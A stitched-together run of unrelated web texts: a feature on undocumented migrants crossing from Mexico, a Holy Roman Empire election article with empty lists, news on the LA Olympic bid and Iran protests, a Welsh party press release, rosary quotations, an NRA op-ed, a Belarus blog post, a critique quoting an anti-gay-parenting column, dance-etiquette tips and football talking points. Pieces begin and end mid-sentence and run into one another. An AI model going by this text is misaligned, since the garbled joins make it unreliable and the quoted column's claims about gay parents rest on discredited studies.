are all moving across the US-Mexico border, most of the country’s estimated 11 million undocumented migrants actually arrived with legal visas, like Arav. Roughly 60 percent, in fact. And while a wall traversing the often difficult terrain that spans 1,900 miles along the southern border would do nothing to deter migrants like him from overstaying their visas, Arav argues that the political climate of “hate against foreigners” could. Becoming a refugee: Essays by young Syrians
A lot has been written about refugees. But rarely do we hear from the refugees themselves in more than just soundbites.gpinvestigations.pri.org Those attempting to curtail the flow of migrants who are crossing the border from Mexico could benefit from looking toward Morocco, which finds itself similarly positioned between two economically distinct regions of the world. There, hundreds of millions of dollars have been invested in reinforcing Europe’s southern borders in recent years: An under-water sonar detection system has been installed in the Strait of Gibraltar, and layers of 20-foot fences topped with razor wire ring Morocco’s Spanish enclaves. Every inch of them is now under constant video surveillance by Spain’s Guardia Civil, a national military force that is tasked primarily with controlling the flow of migrants and refugees from Africa. But even so, tunnels are dug, and a stack of makeshift ladders fashioned out of tree limbs behind the Guardia Civil’s office grows so high that the branches are routinely taken to the dump by the truck-load. As one officer explained, “Fences are built to be scaled.” About 4.6 million African migrants have found their way across the border and are now living within Europe, according to the BBC.
(Reuters)
“Every time I see fireworks in the sky, I remember crossing the border.” Flavio had just celebrated his 17th birthday when he crossed the border from Mexico into the United States for the second time about three years ago. He was small for his age, his voice still high. The first time he crossed, he had been too young to remember his journey through the desert. But he said he’ll never forget the second journey. He grew up in a small town outside of Atlanta — he and his two younger sisters attended the public school where he was an honors student, playing soccer in a community league where he was a rising star. As he got older, Flavio helped out at the mechanic’s shop where his father worked. He said he dreamed of becoming the first doctor in his family, once he realized a future as a professional soccer player was probably unlikely. Then everything changed. “After my dad was deported, our family was broken. My sisters cried for him all the time. My mom was always afraid. She stopped driving. She gradually stopped leaving the house at all unless she was going to work. It took two years before she just gave up and decided to return home.” But it was a home that Flavio had never known. “That first summer back in Puebla, I finally understood why my parents had left. Our school was so poor. There were 60 kids sharing one little classroom, and everyone my age had already dropped out. Kids in Mexico, they don’t have any reason to finish school. There aren’t any jobs waiting for you even if you do. I knew I couldn’t sleep on that dusty floor beside my sisters for long. I hated watching my parents struggle to keep us fed. Back in America, I thought, I was building my future.” It took Flavio nearly two years to save up enough money to pay the smuggling fees demanded by the coyotes who run trips from his town to the Mexican border. “I went from Puebla to Mexico City, and from Mexico City to a small town by the Sierra Mountains where they met me. It was such a beautiful place.” As night began to fall, they started to walk. “The coyote told us to bring food and water for the journey, but he told us it would only take one day.” Flavio had brought a few water bottles and some snacks from the convenience store. “I finished my water quickly, before the first day was even over, and when we woke up the next morning, I had nothing left. My throat was cracked. My belly was aching. We walked for three days and two nights in the desert.” He was the youngest in his group of 10, but Flavio is a natural leader. He has an infectious optimism about him, and speaks with a certainty that belies his gangly teenage frame. “I kept telling the others, we haven’t made it this far to die in the desert!” Like him, they all had families back home whom they were hoping to support. They spoke of their parents and siblings, their spouses and children, as they trudged forward under the brutal heat. “A lot of them had never been to America before, so I told them, in America, you’ll become who you want to be!” “I think that would make me the happiest now. To see my sisters have the kind of future that we all used to dream of when we were little.” — Flavio Flavio had worn through the soles of his shoes, his feet open blisters, and he had less than $100 in his pocket when he finally saw the glowing lights of suburban sprawl in the distance. The coyote had left them earlier in the day and some of the group had parted ways to walk toward the safe house they had been promised. But Flavio was eager to break away. “I walked straight into the Motel 6 and spent the little money I had left to buy a room for the night. It was the Fourth of July, the big American holiday. Every Fourth of July, I remember swimming in the little pool in the parking lot of the motel.” Flavio is now living back in Atlanta. His dreams of finishing high school have been sidelined by the necessity of work. He balances two jobs as a dishwasher at high-end restaurants and hopes to start taking night classes at a technical institute after he finds the time to earn his GED. No longer dreaming of becoming a soccer player or a doctor, he says he’ll find work as a mechanic and save his money so that his sisters can attend college in the United States. Flavio, pictured last year at one of his restaurant jobs. (Isabella Alexander) “I think that would make me the happiest now. To see my sisters have the kind of future that we all used to dream of when we were little,” he said, sitting on the curb outside the restaurant where his night shift has just ended, waiting for the bus to take him back to the small apartment he shares with three other boys his age. Like him, they are undocumented migrants who took great risks to cross the border and return to the country they had grown up thinking was their own. This is the life of a Syrian refugee
Half of all Syrians, more than 11 million people, have left their homes.gpinvestigations.pri.org Born in a small Mexican town that he had little memory of, Flavio returned to the United States, only to live with the same constant fear of deportation that had kept his mother locked inside their apartment a few years before. Lacking the documents to complete his education or protect him against routine workplace exploitation, he is a part of a vulnerable class. Fears like those Flavio carries with him every day permeate undocumented communities across the United States, especially since the presidential election. Recently implemented immigration reforms have already led to deportation raids, breaking up families across the country. Sen. Maj. Leader Mitch McConnell recently estimated the cost of President Trump’s proposed wall along the southern border would range between $12 billion and $15 billion, while a study by the Washington Post found it could cost taxpayers as much $25 billion. What both estimates fail to calculate is the significant loss to sectors of the American economy that have developed a dependence on the exploitability of undocumented migrant labor over the past decades. The agricultural sector that supplies the food Americans eat relies on a consistent tide of migration from Latin America. So does the service industry, which pays an estimated 1.5 million undocumented service workers like Flavio under the table, and less than minimum wage. Asylum, citizenship, and other state-sanctioned categories of belonging are no longer just markers of legality and illegality constructed to include and exclude. They are now the goods with which we barter. Passports are bought and sold. The human-smuggling industry is thriving. Even governments auction off belonging to the highest bidder, as is evidenced by the special visas the United States government hands out to any applicants making million-dollar investments. And as has long been true, it is those at the bottom of our global economic pyramids who end up paying the highest price for their chance at inclusion.
The remnants of an attempted crossing. (Jose Palazon/GlobalPost)The election of Matthias as Roman-German Emperor by the prince electors in 1612 depicted on a contemporary engraving
The election of a Holy Roman Emperor was generally a two-stage process whereby, from at least the 13th century, the King of the Romans was elected by a small body of the greatest princes of the Empire, the prince-electors. This was then followed shortly thereafter by his coronation as Emperor, an appointment that was normally for life.[1] Until 1530, emperors were crowned by the Pope. In 1356, the Emperor Charles IV promulgated the Golden Bull, which became the fundamental law by which all future kings and emperors were elected.[2]
Although the Holy Roman Empire is perhaps the best-known example of an elective monarchy, from 1453 to 1740, a Habsburg was always elected emperor, the throne becoming de facto hereditary.[3] During that period, the emperor was elected from within the House of Habsburg.
Background [ edit ]
The Königswahl was the election of royal candidates in the Holy Roman Empire and its predecessors as king by a specified elective body (the Gremium). Whilst the succession to the throne of the monarch in most cultures is governed by the rules of hereditary succession, there are also elective monarchies.
There were elective monarchies in several Germanic successor states after the collapse of the Roman Empire during the Migration Period, the Early Middle Ages, the Holy Roman Empire and the Kingdom of Poland from 1573 to 1795 (see History of Poland, period of the Aristocratic Republic).
From the 13th century, the right to elect kings in the Holy Roman Empire was granted to a limited number of imperial princes, the so called prince-electors. There are various theories over the emergence of their exclusive election right.[4]
The secular electoral seats were hereditary. However, spiritual electors (and other prince-(arch)bishops) were usually elected by the cathedral chapters as religious leaders, but simultaneously ruled as monarch (prince) of a territory of imperial immediacy (which usually comprised a part of their diocesan territory). Thus the prince-bishoprics were elective monarchies too. The same holds true for prince-abbeys, whose prince-abbesses or prince-abbots were elected by a college of clerics and imperially appointed as princely rulers in a pertaining territory.
Initially seven electors chose the "King of the Romans" as the Emperor's designated heir was known. The elected king then went on to be crowned by the Pope. The prince-electors were:
Spiritual electors [ edit ]
Secular electors [ edit ]
Subsequent changes [ edit ]
Later additions to the electoral council were:
See also [ edit ]
References [ edit ]
Literature [ edit ]
Heinrich Mitteis: Die deutsche Königswahl. Ihre Rechtsgrundlagen bis zur Goldenen Bulle. 2. erweiterte Auflage. Rohrer, Brünn u. a. 1944.
. 2. erweiterte Auflage. Rohrer, Brünn u. a. 1944. Eduard Hlawitschka: Königswahl und Thronfolge in fränkisch-karolingischer Zeit, Wissenschaftliche Buchgesellschaft, Darmstadt, 1975, ISBN 3-534-04685-4.
, Wissenschaftliche Buchgesellschaft, Darmstadt, 1975, ISBN 3-534-04685-4. Ulrich Schmidt: Königswahl und Thronfolge im 12. Jahrhundert. Böhlau, Cologne, etc.. 1987, ISBN 3-412-04087-8, ( Forschungen zur Kaiser- und Papstgeschichte des Mittelalters. Beihefte zu J. F. Böhmer, Regesta Imperii 7), (Zugleich: Tübingen, Univ., Diss., 1985).
. Böhlau, Cologne, etc.. 1987, ISBN 3-412-04087-8, (. Beihefte zu J. F. Böhmer, Regesta Imperii 7), (Zugleich: Tübingen, Univ., Diss., 1985). Gerhard Baaken, Roderich Schmidt: Königtum, Burgen und Königsfreie. Königsumritt und Huldigungen in ottonisch-salischer Zeit. 2nd edn. Thorbecke, Sigmaringen, 1981, ISBN 3-799-56606-6 (Konstanzer Arbeitskreis für mittelalterliche Geschichte e.V. (publ.): Vorträge und Forschungen 6).article
President Donald Trump will meet Thursday with International Olympic Committee President Thomas Bach to discuss the city of Los Angeles’ bid to host the 2024 Summer Olympics, according to multiple reports.
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The three U.S.-based members of the IOC – Angela Ruggiero, Anita DeFrantz and Larry Probst – will also attend the meeting, ESPN reported. Specific details on what elements of L.A.’s bid will be discussed were not immediately available. The New York Times was first to report the meeting, citing an unnamed White House official.
Trump reportedly called Bach last December to express support for Los Angeles’ bid, and reiterated that stance in a radio interview last February with journalist Jim Gray.
“They wanted to have an endorsement from me, and I gave it to them very loud and clear,” Trump told Westwood One Sports. “I would love to see the Olympics go to Los Angeles. I think that it’ll be terrific. The United States committee’s members have asked me to speak up about it, and I have, and I think I’ve helped them, and let’s see what happens. But I’d be very happy and honored if they would choose Los Angeles, and we’d stand behind it.”
Los Angeles and Paris are the only two cities with active bids to host the 2024 games. IOC members are set to select a host in September, though the organization will vote on a proposal to split the 2024 and 2028 games between the two cities in July.
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While the IOC is based in Switzerland, Bach traveled to New York ahead of his meeting with Trump to finalize a new seven-year Olympic sponsorship agreement with Intel. That new partnership was announced days after the IOC and longtime sponsor McDonald’s mutually agreed to end their deal early.
Los Angeles previously hosted the Olympics in 1984 and 1932.Welsh Conservatives have welcomed the defection of a former Plaid councillor to the party at the Bay of Colwyn town council.
Steve Williams, who was disaffected by Plaid’s leadership, joins Welsh Conservatives as his former party’s conference takes place.
Mr Williams said:
“I am delighted to be able to join Welsh Conservatives and I look forward to continuing my work and representing local communities.
“Plaid’s lacklustre leadership and pie in the sky policy ideas have consistently discouraged my support and I can no longer remain with the party.
“I can no longer accept a constant prejudice towards non-Welsh speakers and a habitual desire to support Labour.
“Welsh Conservatives provide a clear alternative and I am pleased to be able to serve local people as a member of the party.”
Welsh Conservative Leader, Andrew RT Davies AM, said:
“I warmly welcome Steve Williams’ decision to join Welsh Conservatives and I know he will continue to be an excellent councillor, with the people he serves at heart.
“It is no surprise to hear Steve’s disaffection with his former party. Time and again we see Plaid Cymru propping up Labour in Wales.
“Just this week they have backed Labour’s forced councils mergers Bill in the Assembly, which has allowed the legislation to pass and denied local people a say.
“Welsh Conservatives are the only alternative to five more years of Labour government in Wales and we’re extremely pleased to welcome Steve to our team.”
Welsh Conservative Assembly Member for Clwyd West, Darren Millar, said:
“It’s been a great pleasure to welcome Steve to the party and I look forward to working with him in the future.
“He’s a first-class councillor who consistently stands up for local people and delivers the results they need.”We live in evil times. I hardly need elaborate the multitude of crises that fill the globe. Sadly, many are being swept away by this flood of evil and are succumbing to an overwhelming anxiety and discouragement. But no matter how tempting it is, we must not shrink back. We must pray and fast with a living faith and a firm confidence—and there is no better way to do this than by praying the Holy Rosary.
Through this prayer of immense power, countless miracles have been obtained and victories won. In fact, we celebrate the feast of the rosary on this day, because through it, a powerful military victory was obtained at the battle of Lepanto.
In these dark days, we must not be afraid. Like our forebears in faith, we must one again turn again to the rosary, calling on the Immaculate Virgin to come to our assistance and put our enemies to flight.
Here are 15 quotes from popes and saints to encourage you in praying this powerful prayer.
1. “The Rosary is the ‘weapon’ for these times.” -Saint Padre Pio
2. “Give me an army saying the Rosary and I will conquer the world.” – Blessed Pope Pius IX
3. “The greatest method of praying is to pray the Rosary.” – Saint Francis de Sales
4. “Some people are so foolish that they think they can go through life without the help of the Blessed Mother. Love the Madonna and pray the rosary, for her Rosary is the weapon against the evils of the world today. All graces given by God pass through the Blessed Mother.” -St. Padre Pio
5. “Go to the Madonna. Love her! Always say the Rosary. Say it well. Say it as often as you can! Be souls of prayer. Never tire of praying, it is what is essential. Prayer shakes the Heart of God, it obtains necessary graces!” -St. Padre Pio
6. “The holy Rosary is a powerful weapon. Use it with confidence and you’ll be amazed at the results.” -St. Josemaria Escriva
7. “Say the Holy Rosary. Blessed be that monotony of Hail Mary’s which purifies the monotony of your sins!” -St. Josemaria Escriva
8. “For those who use their intelligence and their study as a weapon, the Rosary is most effective. Because that apparently monotonous way of beseeching Our Lady as children do their Mother, can destroy every seed of vainglory and pride.” – St. Josemaria Escriva
9. “You always leave the Rosary for later, and you end up not saying it at all because you are sleepy. If there is no other time, say it in the street without letting anybody notice it. It will, moreover, help you to have presence of God.” – St. Josemaria Escriva
10. “The Rosary is a powerful weapon to put the demons to flight and to keep oneself from sin…If you desire peace in your hearts, in your homes, and in your country, assemble each evening to recite the Rosary. Let not even one day pass without saying it, no matter how burdened you may be with many cares and labors.” – Pope Pius XI
11. “The rosary is the book of the blind, where souls see and there enact the greatest drama of love the world has ever known; it is the book of the simple, which initiates them into mysteries and knowledge more satisfying than the education of other men; it is the book of the aged, whose eyes close upon the shadow of this world, and open on the substance of the next. The power of the rosary is beyond description.” – Archbishop Fulton Sheen
12. ““The Rosary is the most excellent form of prayer and the most efficacious means of attaining eternal life. It is the remedy for all our evils, the root of all our blessings. There is no more excellent way of praying.” Pope Leo XIII
13. “No one can live continually in sin and continue to say the Rosary: either they will give up sin or they will give up the Rosary” – Bishop Hugh Doyle
14. “The Most Holy Virgin in these last times in which we live has given a new efficacy to the recitation of the Rosary to such an extent that there is no problem, no matter how difficult it is, whether temporal or above all spiritual, in the personal life of each one of us, of our families…that cannot be solved by the Rosary. There is no problem, I tell you, no matter how difficult it is, that we cannot resolve by the prayer of the Holy Rosary.” -Sister Lucia dos Santos of Fatima
15. “Here is an example to help you understand the efficacy of the Rosary. You remember the story of David who vanquished Goliath. What steps did the young Israelite take to overthrow the giant? He struck him in the middle of the forehead with a pebble from his sling. If we regard the Philistine as representing evil and all its powers: heresy, impurity, pride, we can consider the little stones from the sling capable of overthrowing the enemy as symbolizing the Aves of the Rosary.
“The ways of God are entirely different from our ways. To us it seems necessary to employ powerful means in order to produce great effects. This is not God’s method; quite the contrary. He likes to choose the weakest instruments that He may confound the strong: “God chose what is weak in the world to shame the strong — Infirma mundi elegit ut confundat fortia” (1 Cor 1:27).
“Have you not often met poor old women who are most faithful to the pious recitation of the Rosary? You also must do all that you can to recite it with fervour. Get right down, at the feet of Jesus: it is a good thing to make oneself small in the presence of so great a God.” – Dom Columba Marmion, Christ, the Ideal of the PriestThe National Rifle Association was founded as a way to provide scientific training and education of American soldiers on the right way to use a rifle. The need for good marksmanship was seen as a top priority. After its official founding in 1871, the NRA’s focus evolved to include the development of shooting ranges, training and education of hunters and encouraging shooting sports, especially among youths.
Part of their education efforts including making sure the correct facts were disseminated by legislators. In 1934 they created a Legislative Affairs Division which was responsible for mailing “facts and legislative analysis” for lawmakers so that they could make their own decisions about any gun laws they were considering. By the mid-1970s, the NRA felt that a non-profit lobbying division was necessary in order to provide political defense of what they viewed as an increased assault on the Second Amendment.
This new political focus of the organization also coincided with an increase in violent crimes in the 1970s.
The news was filled with reports of rapes, robberies and serial killers. The crime statistics continued to rise in the 1980s amid the backdrop of stories about the crack epidemic in the inner city and the related crimes. People were scared and they bought a lot of guns.
By the late 1980s, almost 50 percent of all households had at least one handgun. Three million guns were entering into circulation every year. This trend continued until 1993, which started seeing a decline in gun sales, as well as the number of households owning a gun.
Interestingly enough, this coincided with a decline in violent crime.
Violent crime has been on a steady decline since the 1990s. The reasons why are varied and often speculative. In spite of the local news’ tendency to lead with the scariest stories, America has become less violent. There are also fewer gun owners. That’s because fear is the primary motivator for gun sales.
The most recent FBI crime statistics show that violent crime is at its lowest levels since the 1970s. Based on reports from more than 18,000 law enforcement agencies around the country, in 2013 all crimes, including murder, rape and robbery, declined significantly since the previous year. The murder rate is at its lowest since 1968.
This is not good news for the NRA.
Along with the decline in violent crime, gun sales have been on a downward spiral. The NRA has turned its focus from education and training, to largely representing the interests of gun manufacturers. Earlier this year, several gun manufacturers announced a dramatic drop in sales. The fears of Democrats acting on gun control proved to be unfounded, with legislation blocked consistently at the national level. There has been some movement at the state level, largely through various restrictions on high capacity firearms often used in the mass shootings of the past several years.
All of this has led to less interest in buying guns for the vast majority of Americans.
The market for manufacturers – and the NRA – has gotten much, much smaller. Today, there are nearly 300 million guns in circulation in America. Most of them remain in the hands of hunters, collectors and the most fearful. These people represent only 34 percent of the estimated 318 million people residing in the country.Still cleaning out the draft folder, and it's worth mentioning this one just for the headline.
It happened in Belarus in 2011, where dinosaurish old-school dictator Alexander Lukashenko was (as he still is) happily oppressing his people and presiding over the collapse of whatever economy remained in the former Soviet state. Lukashenko was elected in 1994 and has been president ever since, having repeatedly won in the kind of elections where the winner gets 93.5 percent of the vote with the remaining 6.5 percent going to his mustache. He has charmingly described his own son as "a useless weakling" and recently told Germany's (openly gay) foreign minister that it was "better to be a dictator than gay." Assuming those to be mutually exclusive categories, then most of his own people would prefer he come out of the closet (and then go into exile). He is a thug.
And so it is not surprising that when public protests broke out in 2011 over the collapsing economy, Thugashenko responded by having thousands arrested for whatever reason or no reason at all. Most of them, according to the Christian Science Monitor, "were fined heavily or jailed for up to 15 days on police court testimony that they were expressing a political opinion by clapping their hands." Activists and protesters there had adopted applause as a symbol of protest, which is brilliant because now that clapping has been associated with dissent, the regime reportedly has had to forbid it at its own events, such as traditional military parades, which must parade along silently. Authoritarian regimes rely heavily on forcing people to play along, and now forced applause is not an option.
I remember a report that at first Lukashenko was quite pleased with what seemed like a big increase in public approval based on the response to his speeches, only to be infuriated later when he learned it was all protest applause. I can't find that report now but would like to believe that's true.
Anyway, once it became clear that clapping was dissent, clappers were rounded up. And like all thuggish regimes this one was not too particular about who it arrested. That included Konstantin Kaplin, who said he was convicted of "applauding in public" despite fairly conclusive evidence of innocence: he's only got one arm. "The judge read out the charges [and] the police affirmed that I was applauding," said the one-armed man. "The judge looked ashamed of herself," he said, but she imposed the fine anyway.
A journalist was also quoted as saying that a mute woman had been charged with "shouting antigovernment slogans," but there was no independent confirmation of that.Trying to boost his campaign to generate a voter rebellion against Democrats over the issue of marriage equality, Harry Jackson wrote in his column today that legalizing same-sex marriage would harm children. He asserts that gay couples who seek to become parents “put their own fleeting desires ahead of the God-given rights of their children,” whose children he says are more likely to be gay, depressed, unemployed or drug users. Jackson cited the work of Walter Schumm of Kansas State University to back up his claims, but Schumm’s work has been roundly criticized and he is closely tied to anti-gay crackpot Paul Cameron of the Family Research Institute. Later, Jackson mentioned the notorious Mark Regnerus study as part of his warning against gay parenting. What Jackson fails to mention, however, is that even the journal that published his report recently admitted that it was severely flawed, noting that just two of the respondents actually “lived with a lesbian couple for their entire childhoods, and most did not live with lesbian or gay parents for long periods, if at all.”
The reason that legally defined marriage is important is because of children. It takes a mother and a father to conceive a child, and children have a God-given right to have a relationship with both their biological mother and their biological father. Children also have a God-given right to have both a male role model and a female role model in their homes. There are certainly times when tragedy takes a parent from a child, but what about the much more frequent times when adults put their own fleeting desires ahead of the God-given rights of their children? Desires change, as the breakups of both heterosexual and homosexual relationships testify.
As our nation continues to wrestle with the meaning and precise definition of marriage Lesbian, Gay, Bisexual and Transgendered activists consistently dismiss the issue of children. Same-sex marriage advocates insist that children of homosexual couples have the same or better outcomes than children of heterosexual couples. Unfortunately for them these assertions are based more on philosophy than hard science. For example, a 2010 study by Dr. Walter Schumm of Kansas State University confirmed that adult children raised by homosexual couples are (unsurprisingly) two to five times as likely to identify themselves as homosexual as children of heterosexuals. But the nation is divided as to whether that is an important outcome or not.
More specifically, whenever the topic of children reared by gay parents is raised: the assertion is made that there are no special problems or disadvantages because of their parents’ choices of “partners.” But this image (if remotely true) represents a tiny, disproportionately wealthy fraction of the gay population. Most of the scientists who have researched the children of such families admit as much.
Common sense would remind us that the results of any particular study depends both on how one defines a household headed by an LGBT couple, and what factors one evaluates when looking at “outcomes.” Dr. Mark Regnerus of the University of Texas, Austin, recently set out to hear the stories of the adults living in America today who were raised by parents in homosexual relationships. LGBT activists have fought vigorously to malign and suppress his findings. In short, he learned that, on 25 of 40 different outcomes evaluated, the children of women who’ve had same-sex relationships fare quite differently than those in stable, biologically-intact mom-and-pop families, displaying numbers more comparable to those from heterosexual stepfamilies and single parents.
This study included controls for age, race, gender, and the impact of being bullied as a youth, or the gay-friendliness of the state in which they live. Yet the respondents of same-sex parents were more apt to become unemployed, be less healthy and more depressed. They also were more likely to have cheated on a spouse or partner, have more male and female sex partners, experience more sexual victimization, and were more likely to reflect negatively on their childhood family life. Those raised by same-sex couples also were more likely to smoke marijuana and have trouble with the law.
At this point in our nation, no one is debating the right of consenting adults to do what they wish with each other in private. But redefining the ancient institution of marriage is an entirely different matter. This will set the stage for more and more children to grow up without a mother or a father, simply to placate the desire of adults. We must fight to preserve the traditional definition of marriage for the sake of these children.Protests rocking Iran that began as an outcry over economic issues have metastasized into demonstrations against a host of issues, including the regime’s support for Palestinian causes while ignoring problems at home.
The protests began in the second city of Mashhad on Thursday as an attack on high living costs but quickly turned against the Islamic regime as a whole.
There have been reports of chants in favor of the monarchy toppled by the Islamic revolution of 1979, while others have criticized the regime for supporting the Palestinians and other regional movements rather than focusing on problems at home.
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The slogan “Not Gaza, Not Lebanon, I Give My Life for Iran” has been repeated in protests across the country, which stretched into a third day Saturday.
People of Mashhad shout "No Gaza, No Lebanon, our lives are devoted to Iran" protesting Iran's Islamic regime for financially supporting terrorist groups such as #Hezbollah and #Hamas pic.twitter.com/Ed7YaqBwxK — Babak Taghvaee (@BabakTaghvaee) December 28, 2017
In the northeastern city of Sabzevar, a protest was disrupted when a small group of demonstrators began chanting “forget Palestine,” The New York Times reported, quoting hard-line cleric Ayatollah Ahmad Alamolhoda, who called the chants “norm-braking.”
Israeli leaders have seemingly attempted to glom onto the idea, focusing on Iranian support for the Palestinian Hamas terror group as tensions with Gaza intensified over the weekend.
On Saturday, Defense Minister Avigdor Liberman said mortar shells fired at Israel a day earlier had been supplied by Iran.
Hours later, the Israeli army accused Iran of attempting to spark a war between Israel and Gaza terror groups and putting the lives of Palestinians in danger, following a retaliatory raid.
Iran has boasted of its support for the Palestinians, particularly Hamas. In August, Hamas in Gaza leader said Iran had become “the largest backer financially and militarily” of the terror group’s armed wing.
He added that with Iran’s help, Hamas is accumulating military power in preparation for a battle for “the liberation of Palestine,” referring to missile technology as well as other arms.
Iran also openly supports armed movements in Syria and Iraq and is accused of backing the Houthi rebels in Yemen, including supplying them with missiles and other arms.
At the same time, the regime has continued to use opposition to Israel, the US and Saudi Arabia as a cudgel in deflecting attention from the protests, which Tehran has described as a domestic matter. Signs reading “Down with Israel” featured prominently at a pro-regime rally in Tehran Saturday and many there spoke out against the US.
Mohsen Araki, a Shiite cleric who serves in Iran’s Assembly of Experts, praised Rouhani’s efforts at improving the economy. However, he said Rouhani needed to do more to challenge “enemy pressures.”
“We must go back to the pre-nuclear deal situation,” Araki said. “The enemy has not kept with its commitments.”
Ali Ahmadi, a pro-government demonstrator, blamed the US for all of Iran’s economic problems.
“They always say that we are supporting Iranian people, but who should pay the costs?” Ahmadi asked.
Agencies contributed to this report.Please follow and like us:
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ate touches. Most of the leaders who take classes from them on the other hand scare me. I once felt legitimate fear a man had snapped my neck.
-Our culture has told us men need to be commanding and forceful, but it doesn’t have to be this way. Down with the patriarchy. A softer lead doesn’t mean you’re weak. It means you’re considerate, which is actually a remarkable strength.
-You can be as light as you want! You can be so light that you feel like feathers to your follower. You can be so light you lead gently with one finger. I am not exaggerating. This ties back to the point with which I opened this post: we sing the praises of ‘feather-light’ follows all the time, but you can also be a feather-light leader! Of course, it requires a light follower to follow a light leader, but when you two match up it is delicious.
–Followers who say that leaders are ‘too light’ to be followed don’t dance with enough of their own power. There, I said it.
-We should prioritize quality of touch when we teach. In my opinion, the way in which we communicate is more important than the specific ideas we communicate. When I teach I foreground every discussion of moves with a discussion of how to connect in ways that are attentive and considerate.
–Touch conveys feelings. If you lead with force, you’re touching somebody with force. If you grip their hands tightly or pull their arms around forcefully in turns, you may not only be injuring them physically (I know followers who actually get bruises from this sort of thing), but you may also be harming them emotionally. Just imagine what it’s like to be grabbed and tossed around. Imagine what it’s like to be gripped so tightly it hurts. I know that a lot of followers expect this sort of thing when they dance, and the majority certainly seem to be fine with it, but it doesn’t have to be this way. How lovely would it be to dance in a world where everyone (leaders and followers both) is intentional about the way in which they touch each other’s bodies?
–The ‘Golden Rule’ applies to dance. People usually say this: treat others the way you’d like to be treated. Others sometimes say: treat others the way they’d like to be treated. In either case, some thoughtfulness about what your partner experiences will never do you any harm on the floor. In fact, it will only turn you more and more into the kind of dancer for whom people line up to wait to dance with.
I originally set out to write this post because I was tired of having to actively defend myself on my the dancefloor. I want to put an end to this. But more than this I also want to create positive change. Our culture is not all that intentional–but it can be! It can be a world in which we think considerately about what our partner is experiencing. All we have to do is think, and want to care-take. We can foreground the quality of our dancing over the quantity. We can elaborate and enhance our ideas of what it means to be a good leader. And we can in doing so become more connected dancers.1) Kane has earned the right to lead line for England
There was a period, not long ago, when Harry Kane had appeared jaded. Over at Upton Park earlier this month he had looked off the pace, his rhythm slightly disrupted and all that trademark razor-sharp anticipation in front of goal suddenly blunted, as Tottenham Hotspur slipped to a rare defeat. At the time, the worry was weariness to this team’s principal goal threat might scupper an entire title challenge. Those fears have probably now been allayed; Kane’s display against Bournemouth on Sunday saw to that. Some will point to the opponents as still relatively new to life at this level, suggesting Simon Francis and Steve Cook are hardly the most daunting of markers, and arguing this was no real gauge of the condition of either Spurs or their England forward ahead of the final push. Yet Eddie Howe’s impressive team have been one of the form sides of this calendar year, a tight and organised bunch who had not previously succumbed away from home since December, and a back-line and midfield who have made a habit of wrecking reputations.
Spurs and Kane simply did not let them play at White Hart Lane, swarming all over them from the outset and effectively ensuring the last 74 minutes of this match could be played at a stroll rather than a gallop. Kane led the line, linked up the play, stretched his opponents by running in behind, was strong in the air and revelled in his combinations with Dele Alli and Christian Eriksen at his back. He even mustered tackles in his own penalty area, even if it was his brace which drew the focus. A player who had started this term so slowly, with one goal in his first 13 club appearances, is ending it at a gallop. His league tally already matches the 21 from last year, and only four other Englishmen – Andy Cole, Les Ferdinand, Robbie Fowler and Alan Shearer – can cling to successive 20-goal hauls since the top flight was rebranded in the early 1990s. When the 22-year-old performs this capably, it seems unfeasible that he would not be leading the line when England trot out against Russia at the Stade Vélodrome in their opening fixture at Euro 2016, regardless of the state of Wayne Rooney’s fitness or form. Kane should be as pivotal to his country as he is to his club. Dominic Fifield
2) Pardew needs to focus his energies on arresting slump
It is some time since Alan Pardew verbally abused an opposition manager or physically assaulted an opposition player but that shortest of fuses is undoubtedly still there. It could be seen in the way Pardew reacted in the immediate aftermath of Liverpool’s 2-1 victory over Crystal Palace on 6 March and by the fact he dedicated a large portion of his programme notes for Saturday’s visit of Leicester City to the contentious penalty which earned the Merseysiders all three points. Two weeks have passed and he still cannot let it go, with Jamie Carragher getting criticised for “stating Christian Benteke was right to go down”. “Would Carragher have had the same opinion if Wilf[red] Zaha had gone down in the box in the 94th minute of a massive match at Anfield?” Pardew went on to ask. “I suspect not, but loyalties can blur opinion at times.” Carragher’s reaction on Twitter to those comments summed up the mood of many – “wow!” – and there is no escaping the sense that Palace’s poor form (Saturday’s 1-0 defeat makes it 13 league games without a win for the London side) is getting to their manager, which could also be seen in his sharp response to an innocuous question from a journalist at the weekend. Asked if the international break offers his players a welcome change from their difficult environment at club level, he snapped back: “There’s nothing wrong with our environment.” Pardew may well have a point regarding Liverpool’s penalty and being tough with journalists is certainly no crime (many would actively encourage it), but the 54-year-old would be better served focusing his energies on halting Palace’s continuing slide towards the bottom three. They looked woefully short of confidence and creativity against Leicester and the manager must rectify that before a daunting set of league fixtures, beginning with a visit to West Ham on 2 April. Pardew has often been criticised for lacking a plan when his teams are struggling. For Palace’s sake he needs to prove the doubters wrong and staying calm and focused will only help in that regard. Sachin Nakrani
3) Manchester City must urgently pick things up for Guardiola
Pep Guardiola did not sign on to Sheikh Mansour’s Manchester City project to manage in the Europa League. Sunday’s dismal 1-0 loss to Manchester United in the 171st derby allowed their cross-town rivals to close to a point, in sixth place – the margin City also now hold over West Ham United, who are fifth. After the international break City have eight games remaining to ensure they finish in a Champions League berth. These are Bournemouth (away), West Bromwich Albion (home), Chelsea (away), Newcastle United (away), Stoke City (home), Arsenal (home) and Swansea City (away). This appears a tricky run-in, especially given this term’s helter-skelter Premier League so far. The challenge for City and Manuel Pellegrini, who is making way for Guardiola in the close season, is to ensure they are not playing in the continent’s second-tier competition next season. The mission might be codenamed ‘Save Pep’ as it will also prevent this prince of coaches from the ignominy of slumming it in the Europa League. Jamie Jackson
4) It is surely too late for both Allardyce and Benítez to stay up
Sam Allardyce bought well in January and his purchases might just be enough to save Sunderland from the Championship. While Jan Kirchhoff – the 6ft 5in former Bayern Munich reserve centre-half whom Allardyce has turned into a quasi-sweeper, patrolling the zone between midfield and defence – was man of the match, Wahbi Khazri also impressed in a left-sided wide role, as did Lamine Koné at centre-half. Those three players largely made the difference in a game at Newcastle that the Wearsiders might well have won. The eventual draw leaves Rafael Benítez’s side in broadly the same boat as Allardyce’s – retaining genuine, if touch-and-go, survival hopes. Should they stay up, it is clear not a single player will enter St James’ Park that Benítez does not want. He and Allardyce may have their differences but, on the subject of recruitment, they are united. What a shame they were not both in charge of Newcastle and Sunderland – and enjoying their current autonomy – from the start of the season. If that had happened, what might the Premier League table look like now? As it stands, one north-east team looks near certain to be relegated. Surely expecting Crystal Palace’s remarkable collapse to continue is too much for the region to hope for? Louise Taylor
5) Rodriguez adds to Southampton’s attacking options
